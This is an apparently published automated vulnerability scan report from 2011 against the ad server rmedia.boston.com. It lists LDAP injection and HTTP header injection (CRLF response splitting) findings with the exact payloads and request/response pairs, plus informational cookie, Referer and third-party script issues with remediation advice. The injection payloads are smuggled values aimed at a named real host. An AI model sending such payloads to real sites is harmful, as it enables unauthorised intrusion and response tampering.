HTTP Header Injection, DORK, rmedia.boston.com, CWE-113

CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')

Report generated by XSS.CX at Thu Mar 17 08:32:43 CDT 2011.


Loading

1. LDAP injection

2. HTTP header injection

3. Cookie scoped to parent domain

3.1. http://rmedia.boston.com/RealMedia/ads/adstream_lx.ads/www.boston.com/business/markets/L31/1858457007/POPUN/boston/x_revinet010311_rosx_POPUNDER/popun_adperfect_050109391088394713395328396096.html/72634857383031695874344144783849

3.2. http://rmedia.boston.com/RealMedia/ads/adstream_mjx.ads/www.boston.com/business/markets/1837242993@TOP,INTRO,BOTTOM,POPUP,POPUN,EXTRA,BILLBOARD,SPONSOR1,SPONSOR2,SPONSOR3,SPONSOR4,SPONSOR5,SPONSOR6,CENTRAL

4. Cross-domain Referer leakage

5. Cross-domain script include

6. Cookie without HttpOnly flag set

6.1. http://rmedia.boston.com/RealMedia/ads/adstream_lx.ads/www.boston.com/business/markets/L31/1858457007/POPUN/boston/x_revinet010311_rosx_POPUNDER/popun_adperfect_050109391088394713395328396096.html/72634857383031695874344144783849

6.2. http://rmedia.boston.com/RealMedia/ads/adstream_mjx.ads/www.boston.com/business/markets/1837242993@TOP,INTRO,BOTTOM,POPUP,POPUN,EXTRA,BILLBOARD,SPONSOR1,SPONSOR2,SPONSOR3,SPONSOR4,SPONSOR5,SPONSOR6,CENTRAL



1. LDAP injection  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://rmedia.boston.com
Path:   /RealMedia/ads/adstream.cap/126390360

Issue detail

The c parameter appears to be vulnerable to LDAP injection attacks.

The payloads baaec86a924cc2d8)(sn=* and baaec86a924cc2d8)!(sn=* were each submitted in the c parameter. These two requests resulted in different responses, indicating that the input may be being incorporated into a disjunctive LDAP query in an unsafe manner.

Issue background

LDAP injection arises when user-controllable data is copied in an unsafe way into an LDAP query that is performed by the application. If an attacker can inject LDAP metacharacters into the query, then they can interfere with the query's logic. Depending on the function for which the query is used, the attacker may be able to retrieve sensitive data to which they are not authorised, or subvert the application's logic to perform some unauthorised action.

Note that automated difference-based tests for LDAP injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Issue remediation

If possible, applications should avoid copying user-controllable data into LDAP queries. If this is unavoidable, then the data should be strictly validated to prevent LDAP injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into queries, and any other input should be rejected. At a minimum, input containing any LDAP metacharacters should be rejected; characters that should be blocked include ( ) ; , * | & = and whitespace.

Request 1

GET /RealMedia/ads/adstream.cap/126390360?c=baaec86a924cc2d8)(sn=*&dv=1&e=30d&s=1 HTTP/1.1
Host: rmedia.boston.com
Proxy-Connection: keep-alive
Referer: http://finance.boston.com/boston/news/read?GUID=17744398
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW801iXt4ADx8I; RMFL=011PrVAnU105z0Y; s_vi=[CS]v1|26B12F7205013BD8-600001032000CCFA[CE]; __qca=P0-1640891764-1298293742855; ssbusi=1; __utmz=60064574.1298293750.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=60064574.1031200570.1298293750.1298293750.1298293750.1; __unam=b6206f2-12e4856c7b4-3e483bb3-1; bcpage=5; anonId=e9e75675-22e2-4aa9-9380-30d86642b1dc; AxData=; Axxd=1

Response 1

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 22:45:55 GMT
Server: Apache
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Set-Cookie: baaec86a924cc2d8)(sn=*=1; expires=Fri, 15-Apr-11 22:45:55 GMT; path=/; domain=.boston.com
Content-Type: text/plain
Content-Length: 20
X-Cnection: close


// Nothing to Do


Request 2

GET /RealMedia/ads/adstream.cap/126390360?c=baaec86a924cc2d8)!(sn=*&dv=1&e=30d&s=1 HTTP/1.1
Host: rmedia.boston.com
Proxy-Connection: keep-alive
Referer: http://finance.boston.com/boston/news/read?GUID=17744398
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW801iXt4ADx8I; RMFL=011PrVAnU105z0Y; s_vi=[CS]v1|26B12F7205013BD8-600001032000CCFA[CE]; __qca=P0-1640891764-1298293742855; ssbusi=1; __utmz=60064574.1298293750.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=60064574.1031200570.1298293750.1298293750.1298293750.1; __unam=b6206f2-12e4856c7b4-3e483bb3-1; bcpage=5; anonId=e9e75675-22e2-4aa9-9380-30d86642b1dc; AxData=; Axxd=1

Response 2

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 22:45:56 GMT
Server: Apache
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Set-Cookie: baaec86a924cc2d8)!(sn=*=1; expires=Fri, 15-Apr-11 22:45:56 GMT; path=/; domain=.boston.com
Content-Type: text/plain
Content-Length: 20
X-Cnection: close


// Nothing to Do



2. HTTP header injection  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://rmedia.boston.com
Path:   /RealMedia/ads/adstream.cap/126390360

Issue detail

The value of the c request parameter is copied into the Set-Cookie response header. The payload 5c815%0d%0aae225942c8d was submitted in the c parameter. This caused a response containing an injected HTTP header.

Issue background

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.

Request

GET /RealMedia/ads/adstream.cap/126390360?c=5c815%0d%0aae225942c8d&dv=1&e=30d&s=1 HTTP/1.1
Host: rmedia.boston.com
Proxy-Connection: keep-alive
Referer: http://finance.boston.com/boston/news/read?GUID=17744398
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW801iXt4ADx8I; RMFL=011PrVAnU105z0Y; s_vi=[CS]v1|26B12F7205013BD8-600001032000CCFA[CE]; __qca=P0-1640891764-1298293742855; ssbusi=1; __utmz=60064574.1298293750.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=60064574.1031200570.1298293750.1298293750.1298293750.1; __unam=b6206f2-12e4856c7b4-3e483bb3-1; bcpage=5; anonId=e9e75675-22e2-4aa9-9380-30d86642b1dc; AxData=; Axxd=1

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 22:45:54 GMT
Server: Apache
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Set-Cookie: 5c815
ae225942c8d
=1; expires=Fri, 15-Apr-11 22:45:54 GMT; path=/; domain=.boston.com
Content-Type: text/plain
Content-Length: 20
X-Cnection: close


// Nothing to Do



3. Cookie scoped to parent domain  previous  next
There are 2 instances of this issue:

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.


3.1. http://rmedia.boston.com/RealMedia/ads/adstream_lx.ads/www.boston.com/business/markets/L31/1858457007/POPUN/boston/x_revinet010311_rosx_POPUNDER/popun_adperfect_050109391088394713395328396096.html/72634857383031695874344144783849  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://rmedia.boston.com
Path:   /RealMedia/ads/adstream_lx.ads/www.boston.com/business/markets/L31/1858457007/POPUN/boston/x_revinet010311_rosx_POPUNDER/popun_adperfect_050109391088394713395328396096.html/72634857383031695874344144783849

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /RealMedia/ads/adstream_lx.ads/www.boston.com/business/markets/L31/1858457007/POPUN/boston/x_revinet010311_rosx_POPUNDER/popun_adperfect_050109391088394713395328396096.html/72634857383031695874344144783849?_RM_EMPTY_&code=BOS&weather=rain&temp=44&pagetype=generic_page&RM_Exclude=exclude_generic_page&s_campaign=0000 HTTP/1.1
Host: rmedia.boston.com
Proxy-Connection: keep-alive
Referer: http://finance.boston.com/boston/news/read?GUID=17744398
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW801iXt4ADx8I; RMFL=011PrVAnU105z0Y; s_vi=[CS]v1|26B12F7205013BD8-600001032000CCFA[CE]; __qca=P0-1640891764-1298293742855; ssbusi=1; __utmz=60064574.1298293750.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=60064574.1031200570.1298293750.1298293750.1298293750.1; __unam=b6206f2-12e4856c7b4-3e483bb3-1; bcpage=5; anonId=e9e75675-22e2-4aa9-9380-30d86642b1dc; AxData=; Axxd=1

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 22:45:05 GMT
Server: Apache
Set-Cookie: RMFD=011PzzSjO105ya3; expires=Thu, 31-Dec-2020 23:59:59 GMT; path=/; domain=.boston.com
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Expires: Tue, 25 Apr 1995 09:30:27 -0700
Pragma: no-cache
Content-Type: image/gif
Content-Length: 43

GIF89a.............!.......,...........D..;

3.2. http://rmedia.boston.com/RealMedia/ads/adstream_mjx.ads/www.boston.com/business/markets/1837242993@TOP,INTRO,BOTTOM,POPUP,POPUN,EXTRA,BILLBOARD,SPONSOR1,SPONSOR2,SPONSOR3,SPONSOR4,SPONSOR5,SPONSOR6,CENTRAL  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://rmedia.boston.com
Path:   /RealMedia/ads/adstream_mjx.ads/www.boston.com/business/markets/1837242993@TOP,INTRO,BOTTOM,POPUP,POPUN,EXTRA,BILLBOARD,SPONSOR1,SPONSOR2,SPONSOR3,SPONSOR4,SPONSOR5,SPONSOR6,CENTRAL

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /RealMedia/ads/adstream_mjx.ads/www.boston.com/business/markets/1837242993@TOP,INTRO,BOTTOM,POPUP,POPUN,EXTRA,BILLBOARD,SPONSOR1,SPONSOR2,SPONSOR3,SPONSOR4,SPONSOR5,SPONSOR6,CENTRAL?code=BOS&weather=rain&temp=44&pagetype=generic_page&RM_Exclude=exclude_generic_page&s_campaign=0000 HTTP/1.1
Host: rmedia.boston.com
Proxy-Connection: keep-alive
Referer: http://finance.boston.com/boston/news/read?GUID=17744398
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW801iXt4ADx8I; RMFL=011PrVAnU105z0Y; s_vi=[CS]v1|26B12F7205013BD8-600001032000CCFA[CE]; __qca=P0-1640891764-1298293742855; ssbusi=1; RMFD=011PrVUgO105wRm|O205ya3|O105yhs; __utmz=60064574.1298293750.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=60064574.1031200570.1298293750.1298293750.1298293750.1; __unam=b6206f2-12e4856c7b4-3e483bb3-1; bcpage=5; anonId=e9e75675-22e2-4aa9-9380-30d86642b1dc

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 22:44:50 GMT
Server: Apache
Set-Cookie: RMFD=011PzzSU; expires=Sat, 01-Jan-2000 23:59:59 GMT; path=/; domain=.boston.com
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Expires: Tue, 25 Apr 1995 09:30:27 -0700
Pragma: no-cache
Content-Type: application/x-javascript
Connection: Keep-Alive
Content-Length: 10854

function OAS_RICH(position) {
if (position == 'TOP') {
document.write ('<!-- begin ad tag-->\n');
document.write ('<script language="JavaScript" src="http://a.collective-media.net/adj/q1.boston/bus;sz
...[SNIP]...

4. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://rmedia.boston.com
Path:   /RealMedia/ads/adstream_mjx.ads/www.boston.com/business/markets/1837242993@TOP,INTRO,BOTTOM,POPUP,POPUN,EXTRA,BILLBOARD,SPONSOR1,SPONSOR2,SPONSOR3,SPONSOR4,SPONSOR5,SPONSOR6,CENTRAL

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /RealMedia/ads/adstream_mjx.ads/www.boston.com/business/markets/1837242993@TOP,INTRO,BOTTOM,POPUP,POPUN,EXTRA,BILLBOARD,SPONSOR1,SPONSOR2,SPONSOR3,SPONSOR4,SPONSOR5,SPONSOR6,CENTRAL?code=BOS&weather=rain&temp=44&pagetype=generic_page&RM_Exclude=exclude_generic_page&s_campaign=0000 HTTP/1.1
Host: rmedia.boston.com
Proxy-Connection: keep-alive
Referer: http://finance.boston.com/boston/news/read?GUID=17744398
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW801iXt4ADx8I; RMFL=011PrVAnU105z0Y; s_vi=[CS]v1|26B12F7205013BD8-600001032000CCFA[CE]; __qca=P0-1640891764-1298293742855; ssbusi=1; RMFD=011PrVUgO105wRm|O205ya3|O105yhs; __utmz=60064574.1298293750.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=60064574.1031200570.1298293750.1298293750.1298293750.1; __unam=b6206f2-12e4856c7b4-3e483bb3-1; bcpage=5; anonId=e9e75675-22e2-4aa9-9380-30d86642b1dc

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 22:44:50 GMT
Server: Apache
Set-Cookie: RMFD=011PzzSU; expires=Sat, 01-Jan-2000 23:59:59 GMT; path=/; domain=.boston.com
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Expires: Tue, 25 Apr 1995 09:30:27 -0700
Pragma: no-cache
Content-Type: application/x-javascript
Connection: Keep-Alive
Content-Length: 10854

function OAS_RICH(position) {
if (position == 'TOP') {
document.write ('<!-- begin ad tag-->\n');
document.write ('<script language="JavaScript" src="http://a.collective-media.net/adj/q1.boston/bus;sz=728x90;click0=;ord=1318973975?" type="text/javascript"></script>
...[SNIP]...
<noscript><a href="http://a.collective-media.net/jump/q1.boston/bus;sz=728x90;click0=;ord=1318973975?" target="_blank"><img src="http://a.collective-media.net/ad/q1.boston/bus;sz=728x90;click0=;ord=1318973975?" width="728" height="90" border="0" alt=""></a>
...[SNIP]...
</script>\n');
document.write ('<script type="text/javascript" language="JavaScript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script>\n');
document.write ('<script language="JavaScript" src="http://d2.zedo.com/jsc/d2/fo.js"></script>
...[SNIP]...
<!-- begin ad tag-->\n');
document.write ('<script language="JavaScript" src="http://a.collective-media.net/adj/q1.boston/bus;sz=300x250;click0=;ord=2047672404?" type="text/javascript"></script>
...[SNIP]...
<noscript><a href="http://a.collective-media.net/jump/q1.boston/bus;sz=300x250;click0=;ord=2047672404?" target="_blank"><img src="http://a.collective-media.net/ad/q1.boston/bus;sz=300x250;click0=;ord=2047672404?" width="300" height="250" border="0" alt=""></a>
...[SNIP]...

5. Cross-domain script include  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://rmedia.boston.com
Path:   /RealMedia/ads/adstream_mjx.ads/www.boston.com/business/markets/1837242993@TOP,INTRO,BOTTOM,POPUP,POPUN,EXTRA,BILLBOARD,SPONSOR1,SPONSOR2,SPONSOR3,SPONSOR4,SPONSOR5,SPONSOR6,CENTRAL

Issue detail

The response dynamically includes the following scripts from other domains:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /RealMedia/ads/adstream_mjx.ads/www.boston.com/business/markets/1837242993@TOP,INTRO,BOTTOM,POPUP,POPUN,EXTRA,BILLBOARD,SPONSOR1,SPONSOR2,SPONSOR3,SPONSOR4,SPONSOR5,SPONSOR6,CENTRAL?code=BOS&weather=rain&temp=44&pagetype=generic_page&RM_Exclude=exclude_generic_page&s_campaign=0000 HTTP/1.1
Host: rmedia.boston.com
Proxy-Connection: keep-alive
Referer: http://finance.boston.com/boston/news/read?GUID=17744398
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW801iXt4ADx8I; RMFL=011PrVAnU105z0Y; s_vi=[CS]v1|26B12F7205013BD8-600001032000CCFA[CE]; __qca=P0-1640891764-1298293742855; ssbusi=1; RMFD=011PrVUgO105wRm|O205ya3|O105yhs; __utmz=60064574.1298293750.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=60064574.1031200570.1298293750.1298293750.1298293750.1; __unam=b6206f2-12e4856c7b4-3e483bb3-1; bcpage=5; anonId=e9e75675-22e2-4aa9-9380-30d86642b1dc

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 22:44:50 GMT
Server: Apache
Set-Cookie: RMFD=011PzzSU; expires=Sat, 01-Jan-2000 23:59:59 GMT; path=/; domain=.boston.com
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Expires: Tue, 25 Apr 1995 09:30:27 -0700
Pragma: no-cache
Content-Type: application/x-javascript
Connection: Keep-Alive
Content-Length: 10854

function OAS_RICH(position) {
if (position == 'TOP') {
document.write ('<!-- begin ad tag-->\n');
document.write ('<script language="JavaScript" src="http://a.collective-media.net/adj/q1.boston/bus;sz=728x90;click0=;ord=1318973975?" type="text/javascript"></script>
...[SNIP]...
</script>\n');
document.write ('<script type="text/javascript" language="JavaScript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script>\n');
document.write ('<script language="JavaScript" src="http://d2.zedo.com/jsc/d2/fo.js"></script>
...[SNIP]...
<!-- begin ad tag-->\n');
document.write ('<script language="JavaScript" src="http://a.collective-media.net/adj/q1.boston/bus;sz=300x250;click0=;ord=2047672404?" type="text/javascript"></script>
...[SNIP]...

6. Cookie without HttpOnly flag set  previous
There are 2 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



6.1. http://rmedia.boston.com/RealMedia/ads/adstream_lx.ads/www.boston.com/business/markets/L31/1858457007/POPUN/boston/x_revinet010311_rosx_POPUNDER/popun_adperfect_050109391088394713395328396096.html/72634857383031695874344144783849  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://rmedia.boston.com
Path:   /RealMedia/ads/adstream_lx.ads/www.boston.com/business/markets/L31/1858457007/POPUN/boston/x_revinet010311_rosx_POPUNDER/popun_adperfect_050109391088394713395328396096.html/72634857383031695874344144783849

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /RealMedia/ads/adstream_lx.ads/www.boston.com/business/markets/L31/1858457007/POPUN/boston/x_revinet010311_rosx_POPUNDER/popun_adperfect_050109391088394713395328396096.html/72634857383031695874344144783849?_RM_EMPTY_&code=BOS&weather=rain&temp=44&pagetype=generic_page&RM_Exclude=exclude_generic_page&s_campaign=0000 HTTP/1.1
Host: rmedia.boston.com
Proxy-Connection: keep-alive
Referer: http://finance.boston.com/boston/news/read?GUID=17744398
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW801iXt4ADx8I; RMFL=011PrVAnU105z0Y; s_vi=[CS]v1|26B12F7205013BD8-600001032000CCFA[CE]; __qca=P0-1640891764-1298293742855; ssbusi=1; __utmz=60064574.1298293750.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=60064574.1031200570.1298293750.1298293750.1298293750.1; __unam=b6206f2-12e4856c7b4-3e483bb3-1; bcpage=5; anonId=e9e75675-22e2-4aa9-9380-30d86642b1dc; AxData=; Axxd=1

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 22:45:05 GMT
Server: Apache
Set-Cookie: RMFD=011PzzSjO105ya3; expires=Thu, 31-Dec-2020 23:59:59 GMT; path=/; domain=.boston.com
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Expires: Tue, 25 Apr 1995 09:30:27 -0700
Pragma: no-cache
Content-Type: image/gif
Content-Length: 43

GIF89a.............!.......,...........D..;

6.2. http://rmedia.boston.com/RealMedia/ads/adstream_mjx.ads/www.boston.com/business/markets/1837242993@TOP,INTRO,BOTTOM,POPUP,POPUN,EXTRA,BILLBOARD,SPONSOR1,SPONSOR2,SPONSOR3,SPONSOR4,SPONSOR5,SPONSOR6,CENTRAL  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://rmedia.boston.com
Path:   /RealMedia/ads/adstream_mjx.ads/www.boston.com/business/markets/1837242993@TOP,INTRO,BOTTOM,POPUP,POPUN,EXTRA,BILLBOARD,SPONSOR1,SPONSOR2,SPONSOR3,SPONSOR4,SPONSOR5,SPONSOR6,CENTRAL

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /RealMedia/ads/adstream_mjx.ads/www.boston.com/business/markets/1837242993@TOP,INTRO,BOTTOM,POPUP,POPUN,EXTRA,BILLBOARD,SPONSOR1,SPONSOR2,SPONSOR3,SPONSOR4,SPONSOR5,SPONSOR6,CENTRAL?code=BOS&weather=rain&temp=44&pagetype=generic_page&RM_Exclude=exclude_generic_page&s_campaign=0000 HTTP/1.1
Host: rmedia.boston.com
Proxy-Connection: keep-alive
Referer: http://finance.boston.com/boston/news/read?GUID=17744398
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW801iXt4ADx8I; RMFL=011PrVAnU105z0Y; s_vi=[CS]v1|26B12F7205013BD8-600001032000CCFA[CE]; __qca=P0-1640891764-1298293742855; ssbusi=1; RMFD=011PrVUgO105wRm|O205ya3|O105yhs; __utmz=60064574.1298293750.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=60064574.1031200570.1298293750.1298293750.1298293750.1; __unam=b6206f2-12e4856c7b4-3e483bb3-1; bcpage=5; anonId=e9e75675-22e2-4aa9-9380-30d86642b1dc

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 22:44:50 GMT
Server: Apache
Set-Cookie: RMFD=011PzzSU; expires=Sat, 01-Jan-2000 23:59:59 GMT; path=/; domain=.boston.com
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Expires: Tue, 25 Apr 1995 09:30:27 -0700
Pragma: no-cache
Content-Type: application/x-javascript
Connection: Keep-Alive
Content-Length: 10854

function OAS_RICH(position) {
if (position == 'TOP') {
document.write ('<!-- begin ad tag-->\n');
document.write ('<script language="JavaScript" src="http://a.collective-media.net/adj/q1.boston/bus;sz
...[SNIP]...

Report generated by XSS.CX at Thu Mar 17 08:32:43 CDT 2011.